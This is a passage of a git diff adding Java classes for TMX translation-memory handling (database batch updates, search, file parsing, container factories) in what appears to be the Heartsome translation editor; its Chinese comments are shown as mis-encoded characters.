(non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String, java.util.List, java.lang.String) + */ + @Override + public void batchUpdateTuvAttr(IProgressMonitor monitor, String name, String value, List langs, + String filter) { + name = getTuvAttrName(name); + try { + facade.beginTransaction(); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchUpdateTuvExAttribute(name, value, null, langs, monitor)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchUpdateTuvExAttribute(name, value, ids, langs, monitor)) { + facade.commit(); + } + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.util.List, java.lang.String) + */ + @Override + public void batchDeleteTuvAttr(IProgressMonitor monitor, String name, List langs, String filter) { + batchUpdateTuvAttr(monitor, name, "", langs, filter); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String) + */ + @Override + public void batchAddTmxNote(IProgressMonitor monitor, String content, String filter) { + monitor.beginTask("", 100); + SubProgressMonitor filterJob = new SubProgressMonitor(monitor, 30); + filterJob.beginTask("", 100); + List ids = new ArrayList(); + try { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + ids = container.getDbOp().getAfterFilterTuPk(null, null, null); + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + } + filterJob.done(); + SubProgressMonitor addJob = new SubProgressMonitor(monitor, 70); + facade.beginTransaction(); + if (facade.batchAddTuNotes(content, ids, addJob)) { + facade.commit(); + } + addJob.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTmxNote(IProgressMonitor monitor, String oldContent, String newContent, String filter) { + monitor.beginTask("", 100); + try { + facade.beginTransaction(); + monitor.worked(20); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchUpdateTuNote(oldContent, newContent, null)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchUpdateTuNote(oldContent, newContent, ids)) { + facade.commit(); + } + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String) + */ + @Override + public void batchDeleteTmxNote(IProgressMonitor monitor, String content, String filter) { + + monitor.beginTask("", 100); + try { + facade.beginTransaction(); + monitor.worked(20); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchDeleteTuNote(content, null)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchDeleteTuNote(content, ids)) { + facade.commit(); + } + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + } + + @Override + public List getDuplicatedTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + return null; + + } + + public List searchText(String findStr, String lang, int startPk, boolean isForward, + boolean isCaseSensitive, boolean isRegx) { + DBOperator dbOp = container.getDbOp(); + if (dbOp == null) { + return null; + } + DBConfig config = dbOp.getDbConfig(); + String sql = config.getOperateDbSQL("search-corcondance-groupid"); + + if (isForward) { + sql = sql.replace("__GROUP__", " GROUPID >= " + startPk); + } else { + sql = sql.replace("__GROUP__", " GROUPID <= " + startPk); + } + sql = dbOp.replaceTMOrTBConditionSql(sql, findStr, isCaseSensitive, isRegx, true, lang, null); + + try { + Connection conn = dbOp.getConnection(); + Statement stm = conn.createStatement(); + ResultSet rs = stm.executeQuery(sql); + List tuPks = new ArrayList(); + while (rs.next()) { + tuPks.add(rs.getInt(1)); + } + if (tuPks.size() == 0) { + tuPks = null; + } + return tuPks; + } catch (SQLException e) { + LOGGER.error("", e); + } + return null; + } + + @Override + public List getDuplicatedSrcDiffTgtTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + // TODO Auto-generated method stub + return null; + } + + /** + * æ•°æ®åº“端,ä¸éœ€è¦ä¿å­˜ (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#isDirty() + */ + @Override + public boolean isDirty() { + return false; + } + + @Override + public boolean isSourceExist() { + return false; + } + + @Override + public void beginQA(String srcLangCode, String tgtLangCode, boolean ignoreTag, boolean ignoreCase) { + // do nothing + } + + @Override + public boolean isReadOnly() { + return container.getDbOp().isReadOnly(); + } + + @Override + public void updateTuPropType(Map tus, TmxProp prop, String propType) { + if (propType == null) { + return; + } + propType = TextUtil.cleanSpecialString(propType); + String Oldname = prop.getName(); + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + List props = entry.getValue().getProps(); + if (props == null) { + continue; + } + for (TmxProp p : props) { + if (Oldname.equals(p.getName())) { + p.setName(propType); + facade.updateProp(entry.getValue().getTmId(), p); + } + } + } + facade.commit(); + } catch (SQLException e) { + try { + prop.setName(Oldname); + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + + } + } + + @Override + public void batchUpdateTmxPropType(IProgressMonitor monitor, TmxProp prop, String propType, String filter) { + if (propType == null) { + return; + } + final String cleanPropType = TextUtil.cleanSpecialString(propType); + monitor.beginTask("", 100); + try { + facade.beginTransaction(); + monitor.worked(20); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchUpdateTuPropType(prop.getName(), cleanPropType, null)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchUpdateTuPropType(prop.getName(), cleanPropType, ids)) { + facade.commit(); + } + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/ITmxDataChangeListener.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/ITmxDataChangeListener.java new file mode 100644 index 0000000..8ed11d3 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/ITmxDataChangeListener.java @@ -0,0 +1,23 @@ +/** + * ITmxDataChangeListener.java + * + * Version information : + * + * Date:2013-7-31 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.tmxdata; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public interface ITmxDataChangeListener { + + void tmxDataChanged(); +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainer.java new file mode 100644 index 0000000..b73e4fc --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainer.java @@ -0,0 +1,125 @@ +/** + * TmxContainer.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; + +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EncodingException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +public abstract class TmxContainer { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxContainer.class); + /** + * Parse current TMX file + * @param file + * @return + * @throws Exception + * VTD parse file exception; + */ + public static void parseFile(VTDGen vg, File file, IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + FileInputStream fis = null; + String message = ""; + try { + fis = new FileInputStream(file); + byte[] bArr = new byte[(int) file.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + monitor.beginTask("", bArr.length / numOfBytes + 2); + // any other (not too big) value also can be here. + if (bArr.length - offset < numOfBytes) { + numOfBytes = bArr.length - offset; + } + while (offset < bArr.length && (numRead = fis.read(bArr, offset, numOfBytes)) >= 0) { + offset += numRead; + if (bArr.length - offset < numOfBytes) { + numOfBytes = bArr.length - offset; + } + monitor.worked(1); + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + + vg.setDoc(bArr); + monitor.worked(1); + vg.parse(true); + monitor.worked(1); + } catch (IOException e) { + LOGGER.error("", e); + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError"); + throw new Exception(message, e); + } catch (EncodingException e) { + LOGGER.error("", e); + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileEncodingError"); + throw new TmxReadException(message, e); + } catch (ParseException e) { + LOGGER.error("", e); + String errMsg = e.getMessage(); + if (errMsg.indexOf("invalid encoding") != -1) { // ç¼–ç å¼‚常 + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileEncodingError"); + } else { + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileContentError"); + } + throw new TmxReadException(message + e.getMessage()); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + } + } + monitor.done(); + } + } + + public static int countFileTuNumber(VTDUtils vu) { + if (vu == null) { + return 0; + } + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("count(/tmx/body/tu)"); + int tuCount = (int)ap.evalXPathToNumber(); + return tuCount; + } catch (VTDException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return 0; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainerFactory.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainerFactory.java new file mode 100644 index 0000000..7701dc1 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxContainerFactory.java @@ -0,0 +1,55 @@ +/** + * TmxContainerFactory.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.File; + +import net.heartsome.cat.common.bean.DatabaseModelBean; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class TmxContainerFactory { + public static final Logger LOGGER = LoggerFactory.getLogger(DatabaseDataAccess.class); + + public static TmxContainer createContainer(File tmxFile) throws Exception { + TmxFileContainer container = new TmxFileContainer(tmxFile.getAbsolutePath()); + container.parseFileWithVTD(); + return container; + } + + public static TmxContainer createLargeFileContainer(File tmxFile, IProgressMonitor monitor) throws Exception { + TmxLargeFileContainer container = new TmxLargeFileContainer(); + boolean r = container.openFile(tmxFile.getAbsolutePath(), monitor); + if (!r) { + return null; + } + return container; + } + + public static TmxContainer createContainer(DatabaseModelBean dbModelBean) throws Exception { + TmxDbContainer container = new TmxDbContainer(dbModelBean); + + container.loadDatabaseOperator(); + container.connectDatabase(); + return container; + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxDbContainer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxDbContainer.java new file mode 100644 index 0000000..0710da9 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxDbContainer.java @@ -0,0 +1,97 @@ +/** + * TmxDbContainer.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.sql.SQLException; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.te.core.resource.Messages; + +public class TmxDbContainer extends TmxContainer { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxDbContainer.class); + private DatabaseModelBean dbModelBean; + private DBOperator dbOp; + + /** + * Constructor + * @param dbModelBean + */ + public TmxDbContainer(DatabaseModelBean dbModelBean) { + this.dbModelBean = dbModelBean; + } + + /** @return the dbModelBean */ + public DatabaseModelBean getDbModelBean() { + return dbModelBean; + } + + /** @return the dbOp */ + public DBOperator getDbOp() { + return dbOp; + } + + /** + * Load current database OSGI service by database type + * @throws Exception + * did not find the DB service throw null exception; + */ + public void loadDatabaseOperator() throws Exception { + MetaData metaData = dbModelBean.toDbMetaData(); + dbOp = DatabaseService.getDBOperator(metaData); + if (dbOp == null) { + throw new Exception(Messages.getString("tmxdata.TmxDatabaseContainer.loadDbOpError"), + new NullPointerException()); + } + } + + /** + * Connect to current database; + * @throws Exception + * connection exception ; + */ + public void connectDatabase() throws Exception { + try { + this.dbOp.start(); + } catch (SQLException e) { + String msg = e.getMessage(); + if(msg.contains("SQLITE_NOTADB")){ + msg = Messages.getString("tmxdata.TmxDatabaseContainer.connDbrOpError")+"\n"+Messages.getString("Tmxdata.TmxDatabaseContainer.nonHstmMsg"); + throw new Exception(msg); + } else { + LOGGER.error("", e); + throw new Exception(Messages.getString("tmxdata.TmxDatabaseContainer.connDbrOpError")+"\n"+e.getMessage()); + } + } catch (ClassNotFoundException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("tmxdata.TmxDatabaseContainer.connDbDriverOpError"), e); + } + } + + /** + * close current database connection. ; + */ + public void closeDatabaseConnection() { + try { + this.dbOp.end(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileContainer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileContainer.java new file mode 100644 index 0000000..db11cc6 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileContainer.java @@ -0,0 +1,335 @@ +/** + * TmxFileContainer.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EncodingException; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * TMX 文件容器,打开TMX文件时,负责å°é—­æ–‡ä»¶ç›¸å…³å±žæ€§ï¼Œä»¥åŠè§£æžTMX文件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxFileContainer extends TmxContainer { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxFileContainer.class); + private String filePath; + private TmxHeader headerNode; + private int tuTotalNumber = 0; + private VTDUtils vu; + + private List tuIndexCache; + + /** + * Constructor + * @param filePath + * TMX file path in OS + */ + public TmxFileContainer(String filePath) { + this.filePath = filePath; + } + + /** + * Parse current TMX file with VTD + * @return VTDUtils + * @throws Exception + * A set of VTD parse exception; + */ + public void parseFileWithVTD() throws Exception { + File f = new File(this.filePath); + if (!f.exists() || f.isDirectory()) { + throw new FileNotFoundException(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileNotFound")); + } + VTDGen vg = parseFile(f); + vu = new VTDUtils(vg.getNav()); + loadTmxHeader(vu); + getTUIndexCache(true); + vg.clear(); + } + + /** @return the filePath */ + public String getFilePath() { + return filePath; + } + + /** Compute file size */ + public long getFileSize() { + File f = new File(filePath); + return f.length(); + } + + /** @return the headerNode */ + public TmxHeader getHeaderNode() { + return headerNode; + } + + /** @return the tuTotalNumber */ + public int getTuTotalNumber() { + return tuTotalNumber; + } + + public VTDUtils getVTDUtils() { + return vu; + } + + /** + * Get all tuv node xml:lang attribute value. + * @return ; + */ + public List getAllLanguages() { + List tgtLangs = new ArrayList(2); + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + // vu.pilot("/tmx/body"); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//tuv"); + while (ap.evalXPath() != -1) { + int inx = vn.getAttrVal("xml:lang"); + inx = inx == -1 ? vn.getAttrVal("lang") : inx; + String lang = inx != -1 ? vn.toString(inx) : null; + lang = LanguageUtils.convertLangCode(lang); + if (tgtLangs.contains(lang)) { + continue; + } + tgtLangs.add(lang); + } + } catch (VTDException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return tgtLangs; + } + + /** + * Get TU node VTD index cache, can use this data compute TU node position in body node + * @param isReload + * is or not reload the cache, for example reparse the TMX file need reload. + * @return The TU node VTD index in a ArrayList; + */ + public List getTUIndexCache(boolean isReload) { + if (tuIndexCache == null) { + tuIndexCache = new ArrayList(); + } + if (isReload) { + tuIndexCache.clear(); + } else { + return tuIndexCache; + } + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + vu.pilot("/tmx/body"); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./tu"); + while (ap.evalXPath() != -1) { + int idex = vn.getCurrentIndex(); + tuIndexCache.add(idex); + this.tuTotalNumber++; + } + } catch (VTDException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return tuIndexCache; + } + + /** + * Parse current TMX file + * @param file + * @return + * @throws Exception + * VTD parse file exception; + */ + private VTDGen parseFile(File file) throws Exception { + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + String message = ""; + try { + fis = new FileInputStream(file); + byte[] b = new byte[(int) file.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + // any other (not too big) value also can be here. + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + while (offset < b.length && (numRead = fis.read(b, offset, numOfBytes)) >= 0) { + offset += numRead; + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + } + vg.setDoc(b); + vg.parse(true); + } catch (IOException e) { + LOGGER.error("", e); + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError"); + throw new Exception(message, e); + } catch (EncodingException e) { + LOGGER.error("", e); + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileEncodingError"); + throw new TmxReadException(message, e); + } catch (ParseException e) { + LOGGER.error("", e); + String errMsg = e.getMessage(); + if (errMsg.indexOf("invalid encoding") != -1) { // ç¼–ç å¼‚常 + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileEncodingError"); + } else { + message = Messages.getString("tmxdata.TmxFileContainer.parseTmxFileContentError"); + } + throw new TmxReadException(message + e.getMessage()); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + } + } + } + return vg; + } + + /** + * Load TMX header node,and pilot to Body XMLElement + * @param vu + * VTDUtils + * @throws Exception + * Error TMX structure or Error header info + */ + private void loadTmxHeader(VTDUtils vu) throws Exception { + headerNode = new TmxHeader(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + String rootPath = "/tmx"; + try { + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath(rootPath); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + int t = vu.getVTDNav().getAttrVal("version"); + if (t != -1) { + String tmxVersion = vu.getVTDNav().toString(t).trim(); + headerNode.setTmxVersion(tmxVersion); + } else { + headerNode.setTmxVersion(""); + } + ap.resetXPath(); + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + int id = vu.getVTDNav().getAttrVal("srclang"); + if (id == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + headerNode.setSrclang(LanguageUtils.convertLangCode(vu.getVTDNav().toString(id).trim())); + ap.resetXPath(); + ap.selectXPath("@*"); + int inx = -1; + while ((inx = ap.evalXPath()) != -1) { + String name = vu.getVTDNav().toString(inx); + inx = vu.getVTDNav().getAttrVal(name); + String value = inx != -1 ? vu.getVTDNav().toString(inx) : ""; + if (name.equals("adminlang")) { + headerNode.setAdminlang(value); + } else if (name.equals("changedate")) { + headerNode.setChangedate(value); + } else if (name.equals("changeid")) { + headerNode.setChangeid(value); + } else if (name.equals("creationdate")) { + headerNode.setCreationdate(value); + } else if (name.equals("creationid")) { + headerNode.setCreationid(value); + } else if (name.equals("creationtool")) { + headerNode.setCreationtool(value); + } else if (name.equals("creationtoolversion")) { + headerNode.setCreationtoolversion(value); + } else if (name.equals("datatype")) { + headerNode.setDatatype(value); + } else if (name.equals("o-encoding")) { + headerNode.setOencoding(value); + } else if (name.equals("o-tmf")) { + headerNode.setOtmf(value); + } else if (name.equals("segtype")) { + headerNode.setSegtype(value); + } + } + + if (vu.pilot("/tmx/body") == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + } catch (VTDException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError"), e); + } + } + + /** + * ä¿å­˜æ–‡ä»¶ï¼Œé‡æ–°è§£æž VTDNav,刷新 VTDUtils + * @param xm + * ; + */ + public void save(XMLModifier xm) { + try { + this.vu.bind(xm.outputAndReparse()); + + FileOutputStream fos = new FileOutputStream(this.filePath); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } catch (TranscodeException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ParseException e) { + e.printStackTrace(); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileDataAccess.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileDataAccess.java new file mode 100644 index 0000000..17888e1 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxFileDataAccess.java @@ -0,0 +1,797 @@ +/** + * TmxFileDataAccess.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package 